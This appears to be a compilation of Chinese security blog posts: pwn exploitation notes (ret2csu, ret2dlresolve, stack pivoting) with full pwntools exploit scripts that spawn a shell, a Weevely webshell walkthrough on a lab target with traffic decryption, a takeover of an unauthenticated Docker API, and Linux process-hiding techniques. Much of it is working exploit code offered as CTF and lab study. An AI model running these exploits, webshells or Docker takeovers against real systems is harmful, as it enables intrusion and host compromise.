这里面有一些对寄存器操作的，需要注意的是 AT&T 与 8086 汇编语法有些区别

这些前面带百分号的极有可能是 AT&T 汇编，它的 mov 源操作数与目的操作数跟 8086 是反着的

  gadgets2
  4005f0:	4c 89 fa             	mov    %r15,%rdx
  4005f3:	4c 89 f6             	mov    %r14,%rsi
  4005f6:	44 89 ef             	mov    %r13d,%edi
  4005f9:	41 ff 14 dc          	callq  *(%r12,%rbx,8)
  ....
  gadgets1
  400606:	48 8b 5c 24 08       	mov    0x8(%rsp),%rbx
  40060b:	48 8b 6c 24 10       	mov    0x10(%rsp),%rbp
  400610:	4c 8b 64 24 18       	mov    0x18(%rsp),%r12
  400615:	4c 8b 6c 24 20       	mov    0x20(%rsp),%r13
  40061a:	4c 8b 74 24 28       	mov    0x28(%rsp),%r14
  40061f:	4c 8b 7c 24 30       	mov    0x30(%rsp),%r15
  400624:	48 83 c4 38          	add    $0x38,%rsp
  400628:	c3                   	retq

通过构造栈上的数据，用 1 然后返回到 2 就可以控制寄存器

首先通过溢出把一堆数据写在栈上，此时返回地址覆盖为 gadgets1，调用 gaegets1 的时候 rsp+8 通过 gadgets1 把栈上的数据写在寄存器里面，同时把 rsp 再加一下让程序返回到 gadgets2

gadgets2 会把之前寄存器上存的数据放在需要的寄存器上（参数存放顺序：RDI, RSI, RDX, RCX, R8 和 R9）

把 write 函数需要的参数部署好之后通过 call (r12+rbx*8) 之前把 rbx 设置成了 0，当程序执行完 write 函数以后会自己回到这里（因为是 call，正常调用）所以不用管返回地址，继续执行，此时还会执行 gadgets1 上面那张图那样子，gadgets1 里面有一段 add rsp,38h 所以还要填充 38h 个字节把这一段填充掉，使得程序返回的时候是我们写在栈上的 main_addr

write 函数原型是 write(1,address,len) ，1表示标准输出流，address 是 write 函数要输出信息的地址，而 len 表示输出长度

例题

ret2csu
./level5

第一个payload

第二个payload

第三个payload

如果不理解为什么rsp+8变成了rsp+16，可以通过gdb+pwndbg进行调试，能够看到rbx为0，rbp直接就是1，将payload第一次写入的p64(0)跳过了

exp：

# 但是有一个bug，运行时必须要在第59行进行调试才能够运行成功

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

elf = ELF('level5')
# libc = ELF('./2.35/libc.so.6')
libc = ELF('libc6_2.35-0ubuntu3.6_amd64.so')

p = process('./level5')
# p = remote('127.0.0.1',1234)

got_write = elf.got['write']
print("got_write: " + hex(got_write))
got_read = elf.got['read']
print("got_read: " + hex(got_read))

main = 0x400564

off_system_addr = libc.symbols['write'] - libc.symbols['system']
print("off_system_addr: " + hex(off_system_addr))

# rdi=  edi = r13,  rsi = r14, rdx = r15 
# write(rdi=1, rsi=write.got, rdx=4)
payload1 = b"\x00" * 136
payload1 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8)  # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0)  # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += b"\x00" * 56
payload1 += p64(main)
p.recvuntil("Hello, World\n")

# gdb.attach(p)
print("\n#############sending payload1#############\n")
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print("write_addr: " + hex(write_addr))

system_addr = write_addr - off_system_addr
print("system_addr: " + hex(system_addr))

bss_addr = 0x601028

p.recvuntil("Hello, World\n")

# rdi=  edi = r13,  rsi = r14, rdx = r15 
# read(rdi=0, rsi=bss_addr, rdx=16)

payload2 = b"\x00" * 136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16)  # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0)  # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += b"\x00" * 56
payload2 += p64(main)

# gdb.attach(p)
print("\n#############sending payload2#############\n")
p.send(payload2)
sleep(1)

gdb.attach(p)
p.send(p64(system_addr))
sleep(1)
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")

# rdi=  edi = r13,  rsi = r14, rdx = r15 
# system(rdi = bss_addr+8 = "/bin/sh")
payload3 = b"\x00" * 136
payload3 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr + 8) + p64(0) + p64(0)  # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0)  # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += b"\x00" * 56
payload3 += p64(0)

# gdb.attach(p)
print("\n#############sending payload3#############\n")

sleep(1)
p.send(payload3)

p.interactive()

0x05 Brop

# 绑定在端口上
socat tcp-l:9999,reuseaddr,fork exec:./brop
# 也可以用nc
nc -lvvnp 9999 -e ./brop -k

0x06 ret2dlresolve

ELF关于动态链接的一些关键section

.dynamic

包含了一些关于动态链接的关键信息，这个section的用处就是他包含了很多动态链接所需的关键信息，我们现在只关心DT_STRTAB, DT_SYMTAB, DT_JMPREL这三项，这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针，可以readelf -S main_no_relro_32看一下，会发现这三个section的地址跟在上图所示的地址是一样的。

.dynstr

一个字符串表，index为0的地方永远是0，然后后面是动态链接所需的字符串，0结尾，包括导入函数名，比方说这里很明显有个puts。到时候，相关数据结构引用一个字符串时，用的是相对这个section头的偏移，比方说，在这里，就是字符串相对0804824C的偏移。

.dynsym

这个东西，是一个符号表（结构体数组），里面记录了各种符号的信息，每个结构体对应一个符号。我们这里只关心函数符号，比方说上面的puts。结构体定义如下

typedef struct
{
  Elf32_Word    st_name; //符号名，是相对.dynstr起始的偏移，这种引用字符串的方式在前面说过了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言，它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言，其他字段都是0

.rel.plt

这里是重定位表（不过跟windows那个重定位表概念不同），也是一个结构体数组，每个项对应一个导入函数。结构体定义如下：

typedef struct
{
  Elf32_Addr    r_offset; //指向GOT表的指针
  Elf32_Word    r_info;
  //一些关于导入符号的信息，我们只关心从第二个字节开始的值((val)>>8)，忽略那个07
  //1和3是这个导入函数的符号在.dynsym中的下标，
  //如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;

_dl_runtime_resolve做了什么

0x080497c4是.dynamic的指针，与前面图中一致；而第二个参数，是当前要调用的导入函数在.rel.plt中的偏移（不过64位的话就直接是index下标），比方说这里，puts就是0，__libc_start_main就是3*sizeof(Elf32_Rel)=24。

_dl_runtime_resolve

用link_map访问.dynamic，取出.dynstr, .dynsym, .rel.plt的指针
.rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针，记作rel
rel->r_info >> 8作为.dynsym的下标，求出当前函数的符号表项Elf32_Sym的指针，记作sym
.dynstr + sym->st_name得出符号名字符串指针
在动态链接库查找这个函数的地址，并且把地址赋值给*rel->r_offset，即GOT表
调用这个函数

调试理解

在调用函数 strlen 的这个 call 下个断点：b *0x8048594

run 的时候把程序给断下来，然后 si 跟进这个 call 来看一下，进去之后可以看到首先会去执行下面这一块

对应之前讲的，跳转到自己的 plt 表项，继续单步执行，看一下

对应之前讲的跳转到公共的 plt 表项，又一次进行了跳转，对应之前讲的跳转到 dl_runtime_resolve 函数，这个地方就是dl_runtime_resolve 了

需要注意的是，之前跳转的时候，程序 push 了两个参数，一个是 0x10，一个是 0x80498bc 里面的内容

这两个参数就是 dl_runtime_resolve 这个函数的两个参数，我们看一下 0x80498bc 里面存着什么

这个地址就是 link_map 的地址

通过这个地址就可以找到 .dynamic 的地址，第三个就是 0x080497c4

再根据这一个找到 .dynstr、 .dynsym、 .rel.plt 的地址

.dynstr 的地址是 .dynamic + 0x44 -> 0x0804824c
.dynsym 的地址是 .dynamic + 0x4c -> 0x080481ac
.rel.plt 的地址是 .dynamic + 0x84 -> 0x08048304

.rel.plt 的地址加上参数 reloc_arg，即 0x08048304 + 0x10 -> 0x08048314

找到的就是函数的重定位表项 Elf32_Rel 的指针，记作 rel

通过这个 rel 可以得到以下信息

r_offset = 0x080498cc  //指向GOT表的指针
r_info = 0x00000407

将 r_info>>8 ，即 0x00000407>>8 = 4 作为 .dynsym 中的下标，这里的 ">>" 意思是右移

我们来到 0x080481ac（上面找到的那个 .dynsym 的地址）看一下，在标号为 4 的地方，就是函数名称的偏移：name_offset

.dynstr + name_offset 就是这个函数的符号名字符串 st_name

0x0804824c + 0x20 -> 0x0804826c

最后在动态链接库查找这个函数的地址，并且把地址赋值给 *rel -> r_offset，即 GOT 表就可以了

整理一下：

1、dl_runtime_resolve 需要两个参数，一个是 reloc_arg，就是函数自己的 plt 表项 push 的内容，一个是link_map，这个是公共 plt 表项 push 进栈的，通过它可以找到.dynamic的地址
2、而 .dynamic 可以找到 .dynstr、.dynsym、.rel.plt 的这些东西的地址
3、.rel.plt 的地址加上 reloc_arg 可以得到函数重定位表项 Elf32_Rel 的指针，这个指针对应的里面放着 r_offset、r_info
4、将 r_info>>8 得到的就是 .dynsym 的下标，这个下标的内容就是 name_offset
5、.dynstr+name_offset 得到的就是 st_name，而 st_name 存放的就是要调用函数的函数名
6、在动态链接库里面找这个函数的地址，赋值给 *rel->r_offset，也就是 GOT 表就完成了一次函数的动态链接

例题no-relro

from pwn import *

# context.log_level="debug"
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "i386"
# p = process("./main_no_relro_32")
p = remote("10.1.239.161", 9999)
rop = ROP("./main_no_relro_32")  # 创建一个 ROP 对象
elf = ELF("./main_no_relro_32")

p.recvuntil('Welcome to XDCTF2015~!\n')

offset = 112

rop.raw(offset * 'a')  # 填充 112 字节的垃圾数据（'a'），覆盖栈上的缓冲区，直到返回地址
rop.read(0, 0x08049804 + 4, 4)  # 读取 4 字节数据，写入 0x08049804+4 地址，0x08049804 是 .dynamic 段中 .dynstr 指针的地址，+4 是为了覆盖指针的值
dynstr = elf.get_section_by_name('.dynstr').data()  # 获取原始的 .dynstr 段数据
dynstr = dynstr.replace(b"read", b"system")  # 将 .dynstr 段中的字符串 "read" 替换为 "system"
rop.read(0, 0x080498E0, len(dynstr))  # 将伪造的 .dynstr 段数据写入 0x080498E0 地址（这是一个可写的内存区域），通常为 .bss 段
rop.read(0, 0x080498E0 + 0x100, len("/bin/sh\x00"))  # read /bin/sh\x00
rop.raw(0x08048376)  # the second instruction of read@plt   0x08048376 是 read@plt 的第二条指令地址，用于触发 dl_runtime_resolve
rop.raw(0xdeadbeef)  # 伪造的返回地址
rop.raw(0x080498E0 + 0x100)  # 0x080498E0+0x100 是 /bin/sh 字符串的地址，作为 system 函数的参数
# print(rop.dump())
assert (len(rop.chain()) <= 256)    # 检查 ROP 链的长度是否小于等于 256 字节
rop.raw("a" * (256 - len(rop.chain())))    # 填充剩余的 256 - len(rop.chain()) 字节，用于覆盖返回地址
p.send(rop.chain())
p.send(p32(0x080498E0))    # 发送伪造的 .dynstr 指针值（0x080498E0）
p.send(dynstr)    # 发送伪造的 .dynstr 段数据
p.send("/bin/sh\x00")
p.interactive()

例题partial-relro

如果.dynamic不可写，那么以上方法就没用了，所以有第二种利用方法。要知道前面的_dl_runtime_resolve在第二步时

.rel.plt + 第二个参数 求出当前函数的重定位表项 Elf32_Rel 的指针，记作 rel

这个时候，_dl_runtime_resolve并没有检查.rel.plt + 第二个参数后是否造成越界访问，所以我们能给一个很大的.rel.plt的offset（64位的话就是下标），然后使得加上去之后的地址指向我们所能操纵的一块内存空间，比方说.bss。

然后第三步

rel->r_info >> 8 作为 .dynsym 的下标，求出当前函数的符号表项 Elf32_Sym 的指针，记作 sym

所以在我们所伪造的Elf32_Rel，需要放一个r_info字段，大概长这样就行0xXXXXXX07，其中XXXXXX是相对.dynsym表的下标，注意不是偏移，所以是偏移除以Elf32_Sym的大小，即除以0x10（32位下）。然后这里同样也没有进行越界访问的检查，所以可以用类似的方法，伪造出这个Elf32_Sym。至于为什么是07，因为这是一个导入函数，而导入函数一般都是07，所以写成07就好。

然后第四步

.dynstr + sym->st_name 得出符号名字符串指针

同样类似，没有进行越界访问检查，所以这个字符串也能够伪造。

0x07 栈迁移

栈迁移（Stack Pivot）是一种常见的漏洞利用技术，通常用于将栈指针（esp）迁移到攻击者控制的内存区域（如 .bss 段），从而绕过栈溢出保护机制（如栈不可执行）。以下是栈迁移到 .bss 段并控制 write 函数输出字符串的详细步骤：

栈迁移的基本原理

栈迁移的核心是利用 leave; ret 指令：

leave 指令相当于：
```
mov esp, ebp
pop ebp
```
它的作用是将 esp 设置为 ebp 的值，然后从栈中弹出新的 ebp 值。
ret 指令相当于：
```
pop eip
```
它的作用是从栈中弹出返回地址并跳转到该地址。

通过控制 ebp 和 esp，可以将栈迁移到攻击者指定的内存区域（如 .bss 段）。

栈迁移到 `.bss` 段的步骤

准备 `.bss` 段

.bss 段是一个未初始化的全局变量区域，通常具有可写权限。
在 .bss 段中分配一块内存，用于存放伪造的栈帧。

控制 `ebp` 和 `esp`

通过栈溢出漏洞，覆盖返回地址为 leave; ret 的地址。
同时，覆盖 ebp 的值为 .bss 段的地址。

执行 `leave; ret`

当程序执行 leave 时，esp 会被设置为 ebp 的值（即 .bss 段的地址）。
接着执行 ret，程序会从 .bss 段中弹出返回地址并跳转到该地址。

控制 `write` 函数输出字符串

构造 ROP 链

在 .bss 段中构造一个 ROP 链，调用 write 函数输出字符串。ROP 链的构造如下：

write 函数的地址：调用 write 函数。
返回地址：可以是任意地址（如 exit 函数的地址）。
参数：
- fd：文件描述符（1 表示标准输出）。
- buf：字符串的地址。
- count：字符串的长度。

示例 ROP 链

假设：

write 函数的地址为 0x08048320。
字符串的地址为 0x0804a000（.bss 段的某个地址）。
字符串的长度为 10。

ROP 链的布局如下：

0x08048320  # write 函数的地址
0x08048456  # 返回地址（可以是 exit 函数的地址）
0x00000001  # 文件描述符（stdout）
0x0804a000  # 字符串的地址
0x0000000a  # 字符串的长度

完整利用步骤

栈迁移

通过栈溢出漏洞，覆盖返回地址为 leave; ret 的地址。
覆盖 ebp 的值为 .bss 段的地址（如 0x0804a000）。

构造 ROP 链

在 .bss 段中构造 ROP 链，调用 write 函数输出字符串。

发送 payload

发送栈迁移的 payload。
发送 ROP 链和字符串。

示例代码

以下是一个完整的利用代码示例：

from pwn import *

# 设置目标程序和架构
context.arch = "i386"
context.log_level = "debug"

# 启动程序
p = process("./vulnerable_binary")

# 获取关键地址
leave_ret = 0x08048456  # leave; ret 的地址
write_plt = 0x08048320  # write 函数的地址
bss_addr = 0x0804a000   # .bss 段的地址

# 构造栈迁移的 payload
payload = b"A" * 112    # 填充垃圾数据
payload += p32(bss_addr)  # 覆盖 ebp 为 .bss 段的地址
payload += p32(leave_ret)  # 覆盖返回地址为 leave; ret

# 构造 ROP 链
rop_chain = p32(write_plt)  # write 函数的地址
rop_chain += p32(0x08048456)  # 返回地址（exit 函数的地址）
rop_chain += p32(1)          # 文件描述符（stdout）
rop_chain += p32(bss_addr + 0x20)  # 字符串的地址
rop_chain += p32(10)         # 字符串的长度

# 构造完整的 payload
payload += rop_chain
payload += b"/bin/sh\x00"   # 字符串内容

# 发送 payload
p.send(payload)

# 进入交互模式
p.interactive()

栈迁移：通过 leave; ret 将栈迁移到 .bss 段。
ROP 链：在 .bss 段中构造 ROP 链，调用 write 函数输出字符串。
利用步骤：
1. 覆盖返回地址为 leave; ret。
2. 覆盖 ebp 为 .bss 段的地址。
3. 在 .bss 段中构造 ROP 链和字符串。
4. 发送 payload 并触发漏洞。

通过栈迁移技术，可以绕过栈溢出保护机制，实现更灵活的漏洞利用。

Weevely 使用与流量分析

Fri, 01 Nov 2024 21:45:00 GMT

Weevely 使用与流量分析

一、weevely生成、上传、连接、执行

weevely前言

Webshell是经常被使用的攻击手法，一般会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，然后就可以使用浏览器来访问asp或php后门，得到一个命令执行环境，以达到控制网站服务器的目的

简介

（在Linux中已经集成安装了）

weevely是一款使用python编写针对PHP的webshell工具，采用c/s模式构建，能模拟一个类似于telnet的连接shell。

使用的是比较主流的base64加密结合字符串变形技术，后门中所使用的函数均是常用的字符串处理函数，有很好的隐蔽性。

weevely具有生成shell文件、连接后台、资源搜索、信息探测、文件管理操作、错误配置审计、暴力破解、数据库操作、端口扫描等功能

第一步：查看是否安装weevely，并查看版本信息

打开终端，输入weevely，检查是否安装了weevely，如果安装过，就能看见版本信息，并能看见基本的使用说明

第二步：生成shell（php）文件

weevely generate <password>  <path>/xx.php

我这里输入的是weevely generate 111 /root/1.php 

(这个path是已经存在的路径，而后面的文件是将要在这个目录下生成的shell文件)

第三步：上传文件到目标服务器

我这里使用owaspbwa靶机来试

找到upload上传地方，然后上传生成的shell（php）文件

查看上传文件所在的地址（真实中，文件目录啥的都可以扫出来）

第四步：在终端使用weevely，连接到shell（php文件）

weevely  <url>  <password>

我这里输入的是weevely http://192.168.190.130/dvwa/hackable/uploads/1.php 111

这里的URL指文件上传后的文件所在地址

第五步：执行相关系统命令，获取相关信息

第一次执行的提示Permission denied（权限不够）

然后下面就进入到上传到的那个文件夹里面了

然后再加上ls

就成功了

第六步：调用weevely模块

执行更多的操作，输入help命令可以查看相关的命令

随机试一个幸运儿

小白初试使用方法：

不知道模块的命令的话，就可以把命令输入，然后查看给出的提示

模块大全：

:backdoor_reversetcp          执行反向TCP shell

:backdoor_tcp                 在TCP端口产生一个壳

:file_cp                      复制单个文件

 :file_grep                    打印线与多个文件中的模式匹配

 :file_zip                     压缩或展开ZIP文件

 :file_bzip2                   压缩或展开Bzip2文件

:file_tar                     压缩或展开tar文件

 :file_gzip                    压缩或展开Gzip文件

:file_mount                   使用httpfs安装远程文件系统

 :file_cd                      更改当前工作目录

 :file_clearlog                从文件中删除字符串

 :file_read                    从远程文件系统中读取远程文件

:file_download                从远程文件系统下载文件

 :file_touch                   更改文件时间戳

 :file_ls                      列表目录内容

 :file_enum                    检查存在列表列表的存在和权限

:file_upload                  将文件上传到远程文件系统

 :file_find                    查找具有给定名称和属性的文件

 :file_check                   获取文件的属性和权限

 :file_edit                    在本地编辑器上编辑远程文件

 :file_webdownload             下载URL.

 :file_upload2web              将文件自动上传到Web文件夹并获得相应的URL

:file_rm                      删除远程文件

 :shell_php                    执行php命令

 :shell_sh                     执行shell命令

:shell_su                     执行su的命令

:sql_dump                     多DBMS MySqldump更换

:sql_console                  执行SQL查询或运行控制台

 :bruteforce_sql               BruteForce SQL数据库

:net_ifconfig                 获取网络接口地址

:net_mail                     发送邮件

 :net_curl                     执行类似卷曲的HTTP请求。

 :net_scan                     TCP端口扫描。

 :net_proxy                    运行本地代理以通过目标浏览HTTP / HTTPS浏览。

 :net_phpproxy                 在目标上安装PHP代理。

:system_info                  收集系统信息。

 :system_extensions            收集PHP和WebServer扩展列表。

 :system_procs                 列出运行进程。

:audit_phpconf               审核PHP配置。

 :audit_suidsgid               查找suid或sgid标志的文件。

 :audit_disablefunctionbypass  旁路禁用与mod_cgi和.htaccess的限制。

 :audit_filesystem             审核文件系统以获取弱权限。        

 :audit_etcpasswd              用不同的技术读取 / etc / passwd。

二、Weevely流量分析

文件生成

# weevely generate <password> <filename> 

┌──(root㉿kali)-[/home/dcj/Desktop]
└─# weevely generate 123456 1.php             
Generated '1.php' with password '123456' of 692 byte size.

解密分析

根据上几节分析可确定Weevely工具特征：
请求body字段为：随机16个字节+12个字节秘钥+echo(X);的加密字符串+12个字节秘钥+16个随机字节。
响应body字段为：随机16个字节+12个字节秘钥（与请求中相同）+请求中X加密字符串+12个字节秘钥（与请求中相同）。

# 解密为中间Qf开头的内容！！！

webshell为加密的文件

# phar进行解密
┌──(root㉿kali)-[/home/dcj/Desktop]
└─# phar extract -f 1.php
//home/dcj/Desktop/1.php/x ...ok

# $k、$kh、$kf拼接为密码的md5
$k="e10adc39";$kh="49ba59abbe56";$kf="e057f20f883e"

# e10adc3949ba59abbe56e057f20f883e

┌──(root㉿kali)-[/home/dcj/Desktop]
└─# echo "e10adc3949ba59abbe56e057f20f883e:" > hash1.txt

┌──(root㉿kali)-[/home/dcj/Desktop]
└─# john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (?)     
1g 0:00:00:00 DONE (2024-11-01 21:16) 100.0g/s 38400p/s 38400c/s 38400C/s 123456..michael1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

解密脚本

<?php
$k = "9e7ace81";
$kh = "eb5d8c8e66d1";
$kf = "5edcaf439d42";
$p = "CyPJLZj1JqdKeIm5";

function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";

    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}

//$m = "Qfl6qqJvunEp5dY28kBKxunL8ClrSiUKHbgTA3giT/BlfHBMoRL3EZuO+J5SWJsmgbek7a4N8X3qASu+eLY1hv/m3rjR4mCUIHcy23ETuemO0Hv3lfBi9lPY2anUSYsrIMNlS/arWCilWQthWJOZvG/NaWlNIZoLVCIgbxpLzDsOnvL9qmdyZB3ydTUgbicRFz/bw7wX/I+OkAWIXPr2Xs+rdlYQfl6qqJvunEp5dY28kBKxunL8ClrSiUKHbgTA3giT/BlfHBMoRL3EZuO+J5SWJsmgbek7a4N8X3qASu+eLY1hv/m3rjR4mCUIHcy23ETuemO0Hv3lfBi9lPY2anUSYsrIMNlS/arWCilWQthWJOZvG/NaWlNIZoLVCIgbxpLzDsOnvL9qmdyZB3ydTUgbicRFz/bw7wX/I+OkAWIXPr2Xs+rdlY";
//$m = "Qfl6qtJv+gEt4NY2SsSM+FmHH3fH7puy/Chzg44IK5lw3Io7Jp/WZykUDRGbWp5Wy2dgGvHcgWoLhg97pLL2xY4u0KBvCUEvRghENPctLNh1vXADfD+BrYbK4Vs0PO6iNkn8d3qjYhtsKVd4/7kGMUKTBkVKzy+zsuxfl8jes+qTdw2kpgMONovlZXz0wptZV2QJIf/RYBaGAbCiA74B40bbr793YXqS5edcaf439d42";
$m = "Qfl67CIO+gEhJcgrawfrcqrTubhK8GUN11XuLCcnxOstshOa8dNe00Y6QHjYW+bSPOnTz5fAe6exNJX5xSzQ4UZvj2RT8hzsh2eVpFDniykDtoUdBVvCMQQuu7TgRmQpni3RYCSlgkkQHMY9ksfamszD/apE97VmsRBENFE6WcY8mAcdpFDxc001MISr96yKXFTofyljnejHw/fkrX+Ksc1rfToh/s9b7RNIWTPbuF3uJ88hyuWd9sURk6wDsVdxdvlZqfyXPu/yE6GZ3BvDyTg6GTGo5edcaf439d42";

// 使用 @ 来抑制可能发生的警告或错误
$result = @gzuncompress(@x(@base64_decode($m), $k));

// 输出结果
echo $result;
?>

# try {chdir('/var/www/html/extend');@error_reporting(0);@system('nohup ./npc -server=192.168.18.37:8024 -vkey=fkca03riqemuuzy7 -type=tcp & 2>&1');}catch(Exception $e){echo "fQ8vhoERR".$e->getTrace()[0]["function"].": ".$e->getMessage()."fQ8vhoERR";}

得到了代理工具nps的vkey=fkca03riqemuuzy7

Docker远程未授权连接

Wed, 30 Oct 2024 09:05:00 GMT

Docker远程未授权连接

远程查看镜像

挂载目录到宿主机，写入定时任务反弹shell

获取宿主机权限

PS：远程控制

C:\Users\q1303>docker -H tcp://10.1.239.160:2375 pull alpine
Using default tag: latest
latest: Pulling from library/alpine
1f3e46996e29: Pull complete
Digest: sha256:56fa17d2a7e7f168a043a2712e63aed1f8543aeafdcee47c58dcffe38ed51099
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest

C:\Users\q1303>docker -H tcp://10.1.239.160:2375 images
REPOSITORY                      TAG       IMAGE ID       CREATED       SIZE
alpine                          latest    b0c9d60fc5e3   11 days ago   7.83MB
vulfocus/vulfocus               latest    8e55f85571c8   2 years ago   1.17GB
vulfocus/minio-cve_2021_21287   latest    0df28b7c9ea0   3 years ago   185MB

C:\Users\q1303>docker -H tcp://10.1.239.160:2375 run -v /:/mnt -it alpine
/ # whoami
root
/ # ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:37 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:5370 (5.2 KiB)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
C:\Users\q1303>docker -H tcp://10.1.239.160:2375 run -v /:/mnt -it alpine
/ # whoami
root
/ # cd /mnt
/mnt # ls
bin         dev         lib         libx32      mnt         root        snap        sys         var
boot        etc         lib32       lost+found  opt         run         srv         tmp
cdrom       home        lib64       media       proc        sbin        swapfile    usr
/mnt # cd home
/mnt/home # ls
dcj
/mnt/home # cd dcj
/mnt/home/dcj # ls
Clash.Verge_2.0.3-alpha_amd64.deb  Public                             glibc-all-in-one
Desktop                            Pwngdb                             install.sh
Documents                          Templates                          pwndbg
Downloads                          Videos                             snap
Music                              crack
Pictures                           docker-desktop-amd64.deb
/mnt/home/dcj # cd /root
~ # ls
~ # pwd
/root
~ #

docker传输文件

要将文件从 Docker 容器复制到本地，可以使用 docker cp 命令。以下是具体操作：

# 容器 ➡️ 本地的操作
# 格式
docker cp <容器名或ID>:<容器内文件路径> <本地目标路径>

# 示例：将容器的 /app/data.log 复制到当前目录
docker cp my_container:/app/data.log .

# 本地 ➡️ 容器的操作（反向操作）
# 格式
docker cp <本地文件路径> <容器名或ID>:<容器内目标路径>

# 示例：将本地的 config.yml 复制到容器的 /app 目录
docker cp config.yml my_container:/app/

实用技巧：

先用 docker ps 查看容器名称/ID
使用 -a 参数可操作已停止的容器
推荐使用 volume 挂载实现持久化文件同步（更高效）：

docker run -v /本地/路径:/容器/路径 ...

常见问题排查：

文件权限问题 → 尝试在命令前加 sudo
"No such container" → 检查容器名称是否正确
路径错误 → 先在容器内用 docker exec -it 容器名 ls 路径 确认路径存在

Linux 隐藏进程

Tue, 13 Aug 2024 20:19:00 GMT

Linux 隐藏进程

一、概述

Linux 系统中的进程隐藏是攻击者在入侵后维持持久化和规避检测的常用手段。隐藏进程的方法从简单的用户态技巧到复杂的内核级 rootkit，层次各异。本文梳理常见的隐藏技术及对应的检测方法。

二、进程隐藏的常见方法

2.1 用户态隐藏

2.1.1 LD_PRELOAD Hook

通过 LD_PRELOAD 注入共享库，劫持 readdir、fopen 等 libc 函数，使 ps、top、ls /proc 等命令无法看到指定进程。

# 示例：注入恶意 so
export LD_PRELOAD=/tmp/libhide.so

特点：仅对使用动态链接 libc 的程序生效，对静态编译的工具（如 busybox）无效。

2.1.2 Mount Namespace 隔离

利用 mount namespace 将 /proc 替换为伪造的 procfs，使同一个 namespace 内的工具无法看到真实进程。

# 创建新的 mount namespace
unshare -m /bin/bash
# 挂载伪造的 /proc
mount -t proc none /proc

特点：docker/k8s 环境下较常见，仅隔离当前 namespace 的视图。

2.1.3 进程名伪装 (argv[0] Spoof)

修改进程的 argv[0]，使进程在 ps 输出中显示为系统正常进程名。

// 伪代码：修改 argv[0]
memset(argv[0], 0, strlen(argv[0]));
strcpy(argv[0], "[kworker/0:0]");

2.1.4 /proc/PID 隐藏 — 利用 prctl

使用 prctl(PR_SET_MM, ...) 等接口修改进程属性，或利用 /proc 文件系统的特性干扰枚举。

2.2 内核态隐藏

2.2.1 内核模块 Rootkit

通过可加载内核模块（LKM）直接挂钩内核函数，是最彻底的隐藏方式：

Syscall Table Hook：替换 getdents64、kill、read 等系统调用
VFS Hook：挂钩 /proc 文件系统的 readdir 操作，过滤特定进程
Netfilter Hook：隐藏特定端口和网络连接

// 伪代码：hook getdents64 过滤隐藏进程
asmlinkage long hooked_getdents64(unsigned int fd, struct linux_dirent64 *dirp,
                                   unsigned int count) {
    long ret = original_getdents64(fd, dirp, count);
    // 遍历 dirp，删除包含指定 PID 的目录项
    return ret;
}

2.2.2 常见公开 Rootkit

Rootkit	隐藏能力	特点
Diamorphine	进程、文件、模块、端口	开源，支持 Linux 5.x+
Reptile	进程、文件、网络	支持反弹 shell、端口 knocking
Suterusu	进程、网络	ARM/x86 均支持
khook	通用框架	通过 kprobe 方式挂钩

2.2.3 BPF/eBPF 隐藏

利用 eBPF 程序挂钩内核函数，实现无 LKM 的进程隐藏：

通过 bpf_probe_write_user 修改用户态返回数据
利用 TC / XDP hook 过滤网络流量
无需加载内核模块，绕过部分检测

三、检测方法

3.1 交叉比对 /proc 扫描

遍历所有 PID 与 ps 输出对比：

# 遍历 /proc 下所有数字目录
for pid in /proc/[0-9]*/; do
    pid=$(basename $pid)
    if [ -f /proc/$pid/comm ]; then
        echo "$pid $(cat /proc/$pid/comm)"
    fi
done > /tmp/proc_list.txt

# 与 ps 输出对比
ps aux > /tmp/ps_list.txt
diff <(sort /tmp/proc_list.txt) <(awk '{print $2, $11}' /tmp/ps_list.txt | sort)

